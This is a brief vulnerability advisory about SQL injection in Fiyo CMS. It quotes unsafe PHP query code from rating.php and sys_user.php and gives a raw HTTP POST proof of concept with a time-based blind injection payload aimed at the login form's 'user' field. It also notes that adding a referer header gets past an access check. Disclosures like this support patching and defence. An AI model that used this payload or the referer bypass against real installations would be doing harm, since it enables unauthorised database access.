Fiyo CMS multiple SQL vulnerability

The vulnerable file is /apps/app_article/controller/rating.php, because the rating.php includes jscore.php, so we must add referer in HTTP Data Stream to bypass the limits of authority.when the 'do' equal 'rate' the vulnerable is same too.

1、

The vulnerable file is /apps/app_article/controller/rating.php, because the
rating.php includes jscore.php, so we must add referer in
HTTP Data Stream to bypass the limits of authority.when the 'do' equal
'rate' the vulnerable is same too.


require('../../../system/jscore.php');

if(!isset($_POST['id']))
header('../../../');
else {
$id = $_POST['id'];
 $db = new FQuery();
$db->connect();
$qrs = $db->select(FDBPrefix.'article','*',"id=$id");
$qrs = $qrs[0];

POC:

POST /fiyocms/user/login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101
Firefox/37.0

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

user='%2B(select(0)from(select(sleep(5)))v)%2B'&pass=poc-lab&login=Login


The vulnerable file is \apps\app_user\sys_user.php

if(isset($_POST['login'])) {
$_POST['user'] = strip_tags($_POST['user']);
$qr = $db->select(FDBPrefix."user","*","status=1 AND user='$_POST[user]'
AND password='".MD5($_POST['pass'])."'");


The parameter of user is vulnerable. strip_tags doesn't work, Still can be
bypass.
